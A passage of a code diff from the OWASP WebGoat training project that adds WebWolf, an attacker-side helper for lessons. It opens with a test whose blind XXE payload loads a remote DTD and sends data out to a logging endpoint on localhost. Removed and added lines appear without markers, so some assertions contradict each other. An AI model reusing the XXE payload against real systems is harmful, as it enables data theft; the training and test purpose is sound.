"]>\n" +
|
||||
"<comment>\n" +
|
||||
" <text>test&send;</text>\n" +
|
||||
"</comment>";
|
||||
webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
|
||||
.willReturn(aResponse()
|
||||
.withStatus(200)
|
||||
.withBody(dtd)));
|
||||
webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
|
||||
String xml = "<?xml version=\"1.0\"?>" +
|
||||
"<!DOCTYPE comment [" +
|
||||
"<!ENTITY % remote SYSTEM \"http://localhost:8081/files/test.dtd\">" +
|
||||
"%remote;" +
|
||||
"]>" +
|
||||
"<comment><text>test&send;</text></comment>";
|
||||
|
||||
//Call with XXE injection
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content(xml))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))))
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.containsString("WebGoat 8 rocks...")));
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
|
||||
|
||||
List<LoggedRequest> requests = findAll(getRequestedFor(urlMatching("/landing.*")));
|
||||
assertThat(requests.size()).isEqualTo(1);
|
||||
String text = requests.get(0).getQueryParams().get("text").firstValue();
|
||||
|
||||
//Call with retrieved text
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content("<comment><text>" + text + "</text></comment>"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))));
|
||||
}
|
||||
|
||||
}
|
@ -36,6 +36,11 @@
|
||||
<directory>${project.build.directory}</directory>
|
||||
<include>${project.build.finalName}.jar</include>
|
||||
</resource>
|
||||
<resource>
|
||||
<targetPath>/</targetPath>
|
||||
<directory>${project.basedir}/../webwolf/target</directory>
|
||||
<include>webwolf-${project.version}.jar</include>
|
||||
</resource>
|
||||
</resources>
|
||||
</configuration>
|
||||
</plugin>
|
||||
@ -70,6 +75,22 @@
|
||||
</plugins>
|
||||
</build>
|
||||
</profile>
|
||||
<profile>
|
||||
<id>ctf</id>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
<artifactId>webgoat-container</artifactId>
|
||||
<version>${project.version}</version>
|
||||
<exclusions>
|
||||
<exclusion>
|
||||
<groupId>de.flapdoodle.embed</groupId>
|
||||
<artifactId>de.flapdoodle.embed.mongo</artifactId>
|
||||
</exclusion>
|
||||
</exclusions>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
</profile>
|
||||
</profiles>
|
||||
|
||||
<dependencies>
|
||||
@ -159,6 +180,11 @@
|
||||
<artifactId>auth-bypass</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webwolf-introduction</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>missing-function-ac</artifactId>
|
||||
@ -167,9 +193,9 @@
|
||||
|
||||
<!--uncommment below to run/include lesson template in WebGoat Build-->
|
||||
<!--<dependency>-->
|
||||
<!--<groupId>org.owasp.webgoat.lesson</groupId>-->
|
||||
<!--<artifactId>webgoat-lesson-template</artifactId>-->
|
||||
<!--<version>${project.version}</version>-->
|
||||
<!--<groupId>org.owasp.webgoat.lesson</groupId>-->
|
||||
<!--<artifactId>webgoat-lesson-template</artifactId>-->
|
||||
<!--<version>${project.version}</version>-->
|
||||
<!--</dependency>-->
|
||||
<!-- /lessons -->
|
||||
<dependency>
|
||||
|
@ -3,9 +3,10 @@ FROM openjdk:8-jre
|
||||
RUN useradd --home-dir /home/webgoat --create-home -U webgoat
|
||||
|
||||
USER webgoat
|
||||
|
||||
RUN mkdir -p /home/webgoat/.embedmongo/linux
|
||||
RUN curl -o /home/webgoat/.embedmongo/linux/mongodb-linux-x86_64-3.2.2.tgz https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-3.2.2.tgz
|
||||
RUN cd /home/webgoat/; mkdir -p .webgoat
|
||||
COPY webgoat-server-8.0-SNAPSHOT.jar /home/webgoat/webgoat.jar
|
||||
ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/home/webgoat/webgoat.jar"]
|
||||
COPY webwolf-8.0-SNAPSHOT.jar /home/webgoat/webwolf.jar
|
||||
COPY startup.sh /home/webgoat/startup.sh
|
||||
RUN sudo chmod +x /home/webgoat/startup.sh
|
||||
|
||||
CMD ["/home/webgoat/startup.sh"]
|
6
webgoat-server/src/main/docker/startup.sh
Normal file
@ -0,0 +1,6 @@
|
||||
#!/bin/sh
|
||||
|
||||
java -Djava.security.egd=file:/dev/./urandom -jar /home/webgoat/webgoat.jar &
|
||||
echo "Waiting for WebGoat to start..."
|
||||
sleep 20
|
||||
java -Djava.security.egd=file:/dev/./urandom -jar /home/webgoat/webwolf.jar
|
@ -22,7 +22,9 @@
|
||||
* projects.
|
||||
* <p>
|
||||
*/
|
||||
package org.owasp.webgoat;import org.springframework.boot.SpringApplication;
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
|
||||
/**
|
||||
@ -30,7 +32,7 @@ import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
* @date 2/21/17
|
||||
*/
|
||||
@SpringBootApplication
|
||||
public class StartWebGoat {
|
||||
public class StartWebGoat {
|
||||
|
||||
public static void main(String[] args) {
|
||||
SpringApplication.run(WebGoat.class, args);
|
||||
|
46
webwolf/README.md
Normal file
@ -0,0 +1,46 @@
|
||||
# WebWolf
|
||||
|
||||
## Introduction
|
||||
|
||||
During workshops one of the feedback items was that in some lesson it was not clear what you controlled
|
||||
as an attacker and what was part of the lesson. To make this separation more distinct we created
|
||||
WebWolf which is completely controlled by you as the attacker and runs as a separate application.
|
||||
|
||||
Instead of using your own machine which would involve WebGoat being connected to your local network
|
||||
or internet (remember WebGoat is a vulnerable webapplication) we created WebWolf which is the the
|
||||
environment for you as an attacker.
|
||||
|
||||
At the moment WebWolf offers support for:
|
||||
|
||||
- Receiving e-mails
|
||||
- Serving files
|
||||
- Logging of incoming requests (cookies etc)
|
||||
|
||||
## Running
|
||||
|
||||
### Docker
|
||||
|
||||
If you use the Docker image of WebGoat this application will automatically be available. Use the following
|
||||
URL: http://localhost:8081/WebWolf
|
||||
|
||||
### Standalone
|
||||
|
||||
```Shell
|
||||
cd WebGoat
|
||||
git checkout develop
|
||||
mvn clean install
|
||||
```
|
||||
|
||||
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
|
||||
|
||||
```Shell
|
||||
mvn -pl webwolf spring-boot:run
|
||||
```
|
||||
... you should be running WebWolf on localhost:8081/WebWolf momentarily
|
||||
|
||||
|
||||
|
||||
### Mapping
|
||||
|
||||
The web application runs on '/' and the controllers and Thymeleaf templates are hardcoded to '/WebWolf' we need
|
||||
to have '/' available which acts as a landing page for incoming requests.
|
111
webwolf/pom.xml
Normal file
@ -0,0 +1,111 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<artifactId>webwolf</artifactId>
|
||||
<packaging>jar</packaging>
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
<artifactId>webgoat-parent</artifactId>
|
||||
<version>8.0-SNAPSHOT</version>
|
||||
</parent>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
<artifactId>webgoat-commons</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.fasterxml.jackson.datatype</groupId>
|
||||
<artifactId>jackson-datatype-jsr310</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.google.guava</groupId>
|
||||
<artifactId>guava</artifactId>
|
||||
<version>${guava.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.projectlombok</groupId>
|
||||
<artifactId>lombok</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>commons-io</groupId>
|
||||
<artifactId>commons-io</artifactId>
|
||||
<version>LATEST</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-cache</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-security</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-web</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-thymeleaf</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-actuator</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.thymeleaf.extras</groupId>
|
||||
<artifactId>thymeleaf-extras-springsecurity4</artifactId>
|
||||
<version>2.1.2.RELEASE</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-data-mongodb</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-jms</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-activemq</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-devtools</artifactId>
|
||||
<optional>true</optional>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.webjars</groupId>
|
||||
<artifactId>bootstrap</artifactId>
|
||||
<version>3.3.7</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.webjars</groupId>
|
||||
<artifactId>jquery</artifactId>
|
||||
<version>3.2.1</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-compiler-plugin</artifactId>
|
||||
<version>${maven-compiler-plugin.version}</version>
|
||||
<configuration>
|
||||
<source>1.8</source>
|
||||
<target>1.8</target>
|
||||
<encoding>ISO-8859-1</encoding>
|
||||
</configuration>
|
||||
</plugin>
|
||||
<plugin>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-maven-plugin</artifactId>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
|
||||
|
||||
</project>
|
89
webwolf/src/main/java/org/owasp/webwolf/FileServer.java
Normal file
@ -0,0 +1,89 @@
|
||||
package org.owasp.webwolf;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import com.google.common.io.Files;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.owasp.webwolf.user.WebGoatUser;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.security.core.context.SecurityContextHolder;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
import org.springframework.web.servlet.view.RedirectView;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.io.File;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* Controller for uploading a file
|
||||
*/
|
||||
@Controller
|
||||
@Slf4j
|
||||
public class FileServer {
|
||||
|
||||
@Value("${webwolf.fileserver.location}")
|
||||
private String fileLocatation;
|
||||
|
||||
@PostMapping(value = "/WebWolf/fileupload")
|
||||
@SneakyThrows
|
||||
public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) {
|
||||
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
||||
File destinationDir = new File(fileLocatation, user.getUsername());
|
||||
destinationDir.mkdirs();
|
||||
myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename()));
|
||||
log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename()));
|
||||
Files.touch(new File(destinationDir, user.getUsername() + "_changed"));
|
||||
|
||||
ModelMap model = new ModelMap();
|
||||
model.addAttribute("uploadSuccess", "File uploaded successful");
|
||||
return new ModelAndView(
|
||||
new RedirectView("files", true),
|
||||
model
|
||||
);
|
||||
}
|
||||
|
||||
@AllArgsConstructor
|
||||
@Getter
|
||||
private class UploadedFile {
|
||||
private final String name;
|
||||
private final String size;
|
||||
private final String link;
|
||||
}
|
||||
|
||||
@GetMapping(value = "/WebWolf/files")
|
||||
public ModelAndView getFiles(HttpServletRequest request) {
|
||||
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
||||
String username = user.getUsername();
|
||||
File destinationDir = new File(fileLocatation, username);
|
||||
|
||||
ModelAndView modelAndView = new ModelAndView();
|
||||
modelAndView.setViewName("files");
|
||||
File changeIndicatorFile = new File(destinationDir, user.getUsername() + "_changed");
|
||||
if (changeIndicatorFile.exists()) {
|
||||
modelAndView.addObject("uploadSuccess", request.getParameter("uploadSuccess"));
|
||||
}
|
||||
changeIndicatorFile.delete();
|
||||
|
||||
List<UploadedFile> uploadedFiles = Lists.newArrayList();
|
||||
File[] files = destinationDir.listFiles(File::isFile);
|
||||
if (files != null) {
|
||||
for (File file : files) {
|
||||
String size = FileUtils.byteCountToDisplaySize(file.length());
|
||||
String link = String.format("files/%s/%s", username, file.getName());
|
||||
uploadedFiles.add(new UploadedFile(file.getName(), size, link));
|
||||
}
|
||||
}
|
||||
|
||||
modelAndView.addObject("files", uploadedFiles);
|
||||
return modelAndView;
|
||||
}
|
||||
}
|